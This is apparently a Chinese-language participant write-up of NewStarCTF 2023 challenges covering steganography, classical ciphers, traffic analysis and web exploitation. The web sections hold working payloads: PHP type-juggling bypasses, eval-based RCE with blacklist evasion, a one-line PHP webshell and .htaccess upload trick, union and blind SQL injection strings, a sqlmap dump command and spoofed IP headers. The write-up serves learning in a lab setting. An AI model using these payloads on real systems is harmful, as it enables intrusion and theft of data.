NewStarCTF2023WP
NewStarCTF2023WP
hihopkcWEEK1|MISC
CyberChef’s Secret
Sign in!!!
来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)
M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=
wok这个有点厉害,才发现可以自动解密
flag{Base_15_S0_Easy_^_^}
机密图片
小宝最近学会了隐写术,并且在图片中藏了一些秘密,你能发现他的秘密吗?
flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}
流量!鲨鱼!
就决定是你了!WireShark!
flag{Wri35h4rk_1s_u53ful_b72a609537e6}
压缩包们
常见的压缩包又能玩出什么花样呢?
考点:Zip文件头修复、Zip压缩包爆破
winhex查看
我喜欢六位数,因为它们非常简洁,容易记住。
然后修改文件头
50 4B 03 04
但是后面想爆破还是提示有问题
感觉arch还是有点问题啊
算了用ziperello吧
flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}
空白格
“我们之间留了太多空白格”
flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}
隐秘的眼睛
有一双隐秘的眼睛在盯着你…
SilentEye隐写
flag{R0ck1ng_y0u_63b0dc13a591}
WEEK1|WEB
泄漏的秘密
粗心的网站管理员总会泄漏一些敏感信息在Web根目录下
无非就最简单的三种
1.robots.txt
2.www.zip
3.index.php.swp
/robots.txt
1 | flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous} |
Begin of Upload
普通的上传啦,平平淡淡才是真
本题主要考察PHP文件上传漏洞的前端校验绕过
确实简单
flag{692a9515-cf3e-4b16-8497-671eaa5a7344}
Begin of HTTP
1 | GET /?ctf=1 HTTP/1.1 |
1 | secret=n3wst4rCTF2023g00000d |
1 | Cookie: power=ctfer |
1 | User-Agent: NewStarCTF2023 |
1 | Referer: newstarctf.com |
1 | X-Real-IP: 127.0.0.1 |
我很难受,这个卡了我一天
不是xff也不是client-ip
flag{9e43d217-8411-4269-8867-c433d2790ee3}
在做CTF题目时,遇到需要伪造IP来找到Flag,这里记录一下。
虽有多种方法可用,但实际使用中基本X-Forwarded-For就足够。如果遇到需要更换多次IP后才能得出Flag的情况,可在Burpsuite中使用burpFakeIP插件完成伪造IP爆破。
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
ErrorFlask
Err……..
考点:Flask报错界面信息泄露
1 | /?number1=1&&number2=1 |
或者直接传数组?
Begin of PHP
PHP是世界上最安全的语言,真的吗?
考点:PHP弱类型、PHP加密函数数组绕过、PHP函数特性、变量覆盖漏洞
题目分为五个关卡。
第一关主要考察PHP中md5弱类型比较的特点,只需要找到两个值不同但md5值以0e开头的字符串即可通过本关,原理是0e在进行弱类型比较时会被当作科学计数法进行比较。
构造Payload如下:
1 | key1=QNKCDZO&key2=240610708 |
level 1的方法一:
首先要通过Level 1 ,发现它是PHP的弱类型比较,只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
level 1的方法二:
就算它是强类型比较(即===)时,此时两个md5后的值采用严格比较,没有规定字符串,如果这个时候传入的是数组不是字符串,可以利用md5()函数的缺陷进行绕过。数组为空,那么MD5加密之后都为0,那么就是相等的,满足条件,可以成功绕过。
1 | payload: |
第二关主要考察PHP哈希函数的特性,在处理数组类型的传参时,md5、sha1等哈希函数会返回NULL值,由此可以构造出NULL===NULL从而通过判断。
构造Payload如下:
1 | key1=QNKCDZO&key2=240610708 |
第三关主要考察strcmp函数特性,如果传入的参数为数组类型,该函数就会返回NULL值,构造NULL==0从而通过判断
构造Payload如下:
1 | key1=QNKCDZO&key2=240610708&key4[]=2 |
第四关主要考察is_numeric函数特性,在传入的数字后加入任意字母即可通过本层的判断。
构造Payload如下:
1 | key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a |
第五关考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。
构造Payload如下:
1 | key1=QNKCDZO&key2=240610708&key4[]=2&key5=2024a |
R!C!E!
R!C!E!
考点:md5碰撞、PHP特殊符号传参、PHP命令执行、黑名单绕过
首先题目要求 POST 传入一个 password ,password 的 hash 前六位为 c4d038,而哈希加密是一种不可破解的算法,我们只能通过碰撞来尝试获取我们需要的 password。
可以写一个简单的 python 脚本来进行碰撞,先尝试简单的数字组合,看是否有符合条件的值
1 | import hashlibdef crack(pre): |
运行结果是114514,得到了密码
再看下一个传参,可以发现这个变量名有下划线也有点。
1 | $code=$_POST['e_v.a.l']; |
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l
于是为了防止我们的点被自动转换,我们可以先让第一个下划线位置为不合法字符,从而转换为下划线,不会再转换后面的点。比如可以传入 e[v.a.l
最后看命令执行部分,这里是有一个黑名单的过滤:
1 | if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ |
可以看到是禁止了 system 函数,可以采用 php 自带的函数来达到一样的效果,先使用 scandir 看一下目录,注意 scandir 是不会回显输出的,记得加上 var_dump。
1 | e[v.a.l=var_dump(scandir('/')); |
看到了 flag 在根目录下。但是黑名单过滤了 flag 关键字,我们没法直接读取,于是可以使用参数逃逸绕过限制:
1 | POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag |
得到flag。
或者
1 | password=114514&e[v.a.l=echo `tac /f*`; |
EasyLogin
简简单单、随心所欲
弱口令登录、HTTP 302 跳转抓包
进入之后是一个登录界面,先随便注册一个账号登进去看看。
Ctrl``C
和Ctrl``D
回到 Shell,简单看了下目录结构没有什么东西,只告知了含有一个 admin 用户,按方向上键可以查询Bash历史记录。
提示:题目采用的弱密码表
123456789password
newstar
newstar2023
123qwe
qwe123
qwertyuiop
asdfghjkl
zxcvbnm
admin123
admin888
111111
000000
爆破出来密码是000000
然后有个302跳转
但是转念一想,普通用户能不能行呢,抓包试试
6
WEEK1|CRYPTO
brainfuck
Bra1n p0w3r5
flag{Oiiaioooooiai#b7c0b1866fe58e12}
Caesar’s Secert
古老的加密
kqfl{hf3x4w’x_h1umjw_n5_a4wd_3fed}
flag{}
凯撒加密原理:把明文中每个英文字母替换为该字母在字母表中后面第k个字母,如果后面第k个字符超过字母表范围,则把字母表首尾相接,也就是字母Z的下一个字母是A,字母z的下一个字母是a。要求明文中的大写字母和小写字母分别进行处理,大写字母加密后仍为大写字母,小写字母加密后仍为小写字母
凯撒密码其实就是移位,在这里其实就是往后移了五位
解密的话就是n=5
Dn(x)=(x−n) mod 26
flag{ca3s4r's_c1pher_i5_v4ry_3azy}
Fence
栅栏密码
栅栏密码原理:就是把要加密的明文分成N个一组,然后把每组的第1个字连起来,形成一段无规律的话。 不过栅栏密码本身有一个潜规则,就是组成栅栏的字母一般不会太多。(一般不超过30个,也就是一、两句话)
想到flag是flag开头的,我们就在密文前面找f和l
发现这是2栏栅栏密码
第一组fa{ereigtepanet6680}
第二组lgrodrn_h_litx#8fc3
只需从第一个组读一个元素,第二个元素读一个元素,循环往复即可得到明文
flag{reordering_the_plaintext#686f8c03}
Vigenère
le chiffre indéchiffrable
密文pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0}
明文肯定是flag{}
所以我们现在猜密钥
密钥长度需要与明文长度相同,如果少于明文长度,则重复拼接直到长度相等
明文第一个字母F密钥第一个字母的相交点就是密文P,所以我们可以推测出密钥为KFC
flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0}
babyrsa
很容易分解的n
babyencoding
1 | part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ= |
part1和part2看内容为base64、base32;part3为UUencode编码
UUencode是一种二进制到文字的编码。最早在unix 邮件系统中使用,全称:Unix-to-Unix encoding
flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
WEEK2|MISC
新建Word文档
你喜欢用Word文档吗?
.doc的文件头是D0 CF 11 E0
.docx 文件头是50 4B 03 04无论Word文档是哪种后缀,都可以把后缀改为.zip,然后解压,就可以看到文档的组织格式以及各个配置文件,在这些文件里面可能有隐写信息
在document.xml发现
永不消逝的电波
或许有节奏的声音中传递着一些信息;flag请按照flag{}的格式进行提交,涉及字母均为小写
..-./.-../.-/–./-/…././-…/./…/-/-.-./-/..-././.-./../…/-.–/—/..-
FLAGTHEBESTCTFERISYOU
flag{thebestctferisyou}
1-序章
你作为一名出色的网络安全专家,正在调查一起网络入侵事件。你获得了一份SQL盲注请求的日志文件,里面记录了攻击者的活动。你的任务是分析这些日志,找出攻击者成功获取到的数据。
这题应该用脚本的。。
奈何本人太菜,只能一个一个弄
121,111,117,95,119,52,110,116,95,115,51,99,114,101,102,116,101,108,97,103,123,106,117,115,116,95,119,52,114,109,95,117,112,95,115,48,95,121,111,117,95,110,51,101,100,95,104,52,114,100,101,114,95,54,48,50,54,99,100,51,50,125,44
flag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}
官方:
题目给出了Web请求日志,经过分析可以看出是SQL盲注的日志信息,Payload为:
-1 or if(ascii(substr((select group_concat(username,password) from user),位数,1))=字符ASCII码,sleep(1),1)–+
当注入到某一位的正确字符后会结束这一位的爆破,进行下一位的注入,例如
172.17.0.1 - - [20/Aug/2023:00:08:44 +0800] “GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),7,1))=110,sleep(1),1)–+&totalPrice=0 HTTP/1.1” 500 353 “-“ “python-requests/2.28.2”
172.17.0.1 - - [20/Aug/2023:00:08:47 +0800] “GET /app/action/edit_sell.php?pid%5B0%5D=-1%20or%20if(ascii(substr((select%20group_concat(username,password)%20from%20user),8,1))=40,sleep(1),1)–+&totalPrice=0 HTTP/1.1” 500 353 “-“ “python-requests/2.28.2”
如上的日志信息就说明第7位字符的ASCII码为110,根据这个原理可以编写脚本来提取日志中的注入结果,也有很多现成的脚本稍微修改一下就可以使用,可以参考这篇文章的分析:https://www.cnblogs.com/0yst3r-2046/p/12322110.html
稍微修改一下脚本,需要以Python2运行:
1 | # coding:utf-8 |
base!
base! 贝斯!贝斯也有自己的秘密
很经典的一道题型Base64信息隐藏
1 | 一段:d2lsbCBkYW5jZSxhbmQgbGVhcCxhbmQgZHJhaW4gdGhlIGJvd2x= |
1 | import sys |
Jvav
给阿姨来一杯卡布奇诺,多看看题目名哦,秘密就隐藏在图片中
我靠,我看wp才知道是盲水印
考点:JAVA盲水印
根据题目提示,参考题目名Jvav,可以检阅到Java盲水印的知识。
可以利用这个项目来提取Java盲水印内容:https://github.com/ww23/BlindWaterMark
WebShell的利用
不会
考点:PHP代码解密
FLAG:动态FLAG
解题步骤
其实这道题偏向于Web题目,代码加密也很简单,在分析时可以将eval修改为echo,调试几次之后发现其实解密方式是固定的,只是进行了嵌套多次加密,由此可以编写PHP脚本对WebShell脚本进行解密:
1 |
|
最终得到WebShell:
1 | error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']); |
这里就是一个简单的函数的动态调用,GET传入函数名,POST传入函数参数
WEEK2|WEB
游戏高手
直接重放包
①改为POST方法
②Content-Type改为application/json
③{“score”:10000000000}
或者控制台直接
include 0。0
包含也有危害?
一开始试了php://filter/convert.quoted-printable-encode/resource=flag.php不行
flag{babdba76-18cf-4fd4-990d-460964d8d8fc}
ez_sql
inject me plz.
考点:union注入、大小写绕过
给id传 TMP0919’# ,可以查出结果,说明存在注入。#要编码成%23。
查询的信息可以回显,说明是union注入,然后要判断字段数。
1 | ?id=TMP0919' Order by 1# |
从1一直递增,递增到6时,页面不回显,说明字段数是5.
1 | ?id=1' uNion Select 1,2,3,4,5# |
查询表名
1 | ?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23 |
查询字段名
1 | ?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23 |
查询Flag值:
1 | ?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23 |
或者直接
1 | sqlmap -u "http://09ea211b-20c8-477f-a1c1-152828f58661.node4.buuoj.cn:81/?id=TMP5239" -D "ctf" -T here_is_flag -C "flag" --dump |
1 | flag{bf63539d-68a8-4d3f-897c-259851273367} |
Unserialize?
什么是PHP反序列化?
考点:PHP反序列化漏洞基础、RCE Bypass
进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE
RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。
需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:
注意要把命令中的加号替换为%20或者空格
Upload again!
继续上传!
我靠,还检测我内容的,经测试发现是过滤了<
可以使用伪协议,.htacess里伪协议读入,写的图片马用base加密。
1 | AddType application/x-httpd-php .jpg |
把后缀.abc当作php解析,然后shell.abc的内容用base64加密。比如<?php @eval($_POST["a"]);?>
加密变成PD9waHAgQGV2YWwoJF9QT1NUWyJhIl0pOz8+
或者直接用这个绕过
flag{f07e6590-482c-4ce2-9047-5c3da13f8941}
R!!C!!E!!
R!!C!!E!!M!!E!!
首先看到提示有信息泄露,可以使用dirb扫,扫出了 /.git ,使用GitHack工具获取源码。
扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:
第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。
payload(使用 bp 发送的请求):
1 | GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); |
WEEK3|MISC
阳光开朗大男孩
我是阳光开朗大男孩~阳光开朗大男孩~
secret.txt
1 | 法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由 |
flag.txt
1 | 🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒 |
this_password_is_s000_h4rd_p4sssw0rdddd
怀疑是txtemoji
但试了好像不是
最后发现是这个emoji aes加密
https://aghorler.github.io/emoji-aes/#decrypt
https://ruotian.io/2020/02/emoji-aes/
flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}
大怨种
只要你是大怨种,点击即送Flag
这个是汉信码
flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}
滴滴滴
密码就在滴滴滴滴滴滴滴滴滴滴滴滴滴滴哒中哦
听wav是拨号声音
直接上传到网站
http://dialabc.com/sound/detect/index.html
得到拨号音的内容为:
52563319066
结合题目简介的提示,这串数字应该是某处使用的密码,因此可以尝试steghide工具来对jpg图片进行隐写内容提取:
flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}
WEEK4|MISC
R通大残
R通大残,打了99,补!
红色通道
flag{a96d2cc1-6edd-47fb-8e84-bd953205c9f5}
Nmap
统计->会话
请给出Nmap扫描得到所有的开放端口用英文逗号分隔,端口号从小到大排列。 例如flag{21,22,80,8080}
flag{80,3306,5000,7000,8021,9000}
依旧是空白
我们之间还有太多空白格,但是这次的空白格不太一样
这个好像不太行
https://www.w3cschool.cn/tryrun/runcode?lang=whitespace
那我先考虑一个空白的图片吧
移到kali显示不了
先爆破宽高
s00_b4by_f0r_y0u
这个password有什么用呢?
网上搜一下空白格
https://blog.csdn.net/qq_51999772/article/details/122418926
https://darkside.com.au/snow/index.html
1 | SNOW.EXE -p s00_b4by_f0r_y0u -C White.txt >a |
或者linux的stegsnow
flag{2b29e3e0-5f44-402b-8ab3-35548d7a6a11}
WEEK5|MISC
隐秘的图片
签到题
直接stegsolve
两张图片进行xor
flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53}
官方writeup
《NewStarCTF 2023 Week1 官方WriteUp》
https://shimo.im/docs/XKq421EBKzFyRzAN/
《NewStarCTF 2023 Week2 官方WriteUp》
https://shimo.im/docs/Dy5ekHJhKo0ap5v3/
《NewStarCTF 2023 Week3 官方WriteUp》
https://shimo.im/docs/QPMRxzGktzsZnzhz
《NewStarCTF 2023 Week4 官方WriteUp》
https://shimo.im/docs/gXqmdVvbOEsXpo3o/
《NewStarCTF 2023 Week5 官方WriteUp》
https://shimo.im/docs/R3sGgZdrlyE6nL8T/